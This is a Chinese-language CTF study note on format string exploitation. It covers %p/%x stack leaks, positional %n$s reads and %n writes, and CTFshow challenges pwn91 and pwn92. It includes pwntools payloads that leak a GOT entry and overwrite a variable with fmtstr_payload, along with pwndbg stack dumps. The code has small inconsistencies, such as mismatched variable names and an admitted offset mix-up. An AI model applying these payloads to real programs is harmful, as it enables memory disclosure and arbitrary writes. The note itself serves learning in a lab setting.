格式化字符串
知识点和技巧
利用 %x 来获取对应栈的内存,但建议使用 %p,可以不用考虑位数的区别
利用 %s 来获取变量所对应地址的字符串,只不过有零截断
利用 %n$x 来获取指定(n+1)参数的值,利用 %n$s 来获取指定参数对应地址的内容
如果我们知道格式化字符串在输出函数调用时 是第几个参数,这里假设格式化字符串相对函数调用是第 k 个参数,那我们就可以通过如下方法来获取指定地址 addr 的内容 addr%k$x
下面就是确定格式化字符串是第几个参数了,一般可以通过 [tag]%p%p%p%p%p%p%p%p%p 来实现,如果输出的内容跟我们前面的 tag 重复了,那就说明我们找到了。
AAAA%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p
1 2 3 4 5 6 7 8
| __isoc99_scanf_got = elf.got['__isoc99_scanf'] print(hex(__isoc99_scanf_got)) payload = p32(__isoc99_scanf_got) + '%4$s' print(payload) p.sendline(payload) p.recvuntil('%4$s\n') print(hex(u32(sh.recv()[4:8]))) p.interactive()
|
覆盖栈内存(%n)
%n,不输出字符,但是把已经成功输入的字符个数写入对应的整型指针参数所指的变量只要变量对应的地址可写,就可以利用格式化字符串来改变其对应的值
确定覆盖地址
确定相对偏移
进行覆盖
pwn91(基础偏移覆盖)
输入
- AAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p 或
- AAAA-%x-%x-%x-%x-%x-%x-%x-%x-%x
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| 00:0000│ esp 0xffffd050 —▸ 0xffffd068 ◂— 'AAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p' 01:0004│ 0xffffd054 —▸ 0xffffd068 ◂— 'AAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p' 02:0008│ 0xffffd058 —▸ 0xf7fbe7b0 —▸ 0x80482d7 ◂— 'GLIBC_2.34' 03:000c│ 0xffffd05c —▸ 0x80491ad (main+23) ◂— add ebx, 0x2e53 04:0010│ 0xffffd060 ◂— 0x0 05:0014│ 0xffffd064 ◂— 0x1 06:0018│ eax 0xffffd068 ◂— 'AAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p' 07:001c│ 0xffffd06c ◂— '-%p-%p-%p-%p-%p-%p-%p-%p-%p' [ BACKTRACE ]──────────────────────────────────────────────────────────────────────────────────────────────────────
► 0 0x80491ed main+87 1 0xf7c21519 __libc_start_call_main+121 2 0xf7c215f3 __libc_start_main+147 3 0x80490ac _start+44 ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> c Continuing. AAAA-0xffffd068-0xf7fbe7b0-0x80491ad-(nil)-0x1-0x41414141-0x2d70252d-0x252d7025-0x70252d70[Inferior 1 (process 87103) exited normally]
|
printf函数会通过格式化输入字符串,然后将栈上的东西按照顺序输出出来,这里可以看出来格式化字符串的位置偏移是6(这个题目是七,这里用错文件了)
这里使用fmtstr_payload模块直接进行改写
1 2
| daniu = 0x804B038 payload = fmtstr_payload(7,{daniu:6})
|
pwn92(常见转换指示符和长度)
1 2 3 4 5 6 7 8 9 10 11 12
| printf("Hello CTFshow %%\n"); puts("Hello CTFshow!"); printf("Num : %d\n", 114514LL); printf("%s %s\n", "Format", "Strings"); printf("%12c\n", 65LL); printf("%16s\n", "Hello"); printf("%12c%n\n", 65LL, v1); printf("%16s%n\n", "Hello!", v1); printf("%2$s %1$s\n", "Format", "Strings");
printf("%42c%1$n\n", v1);
|
输出
1 2 3 4 5 6 7 8 9 10
| Hello CTFshow % Hello CTFshow! Num : 114514 Format Strings A Hello A Hello! Strings Format �
|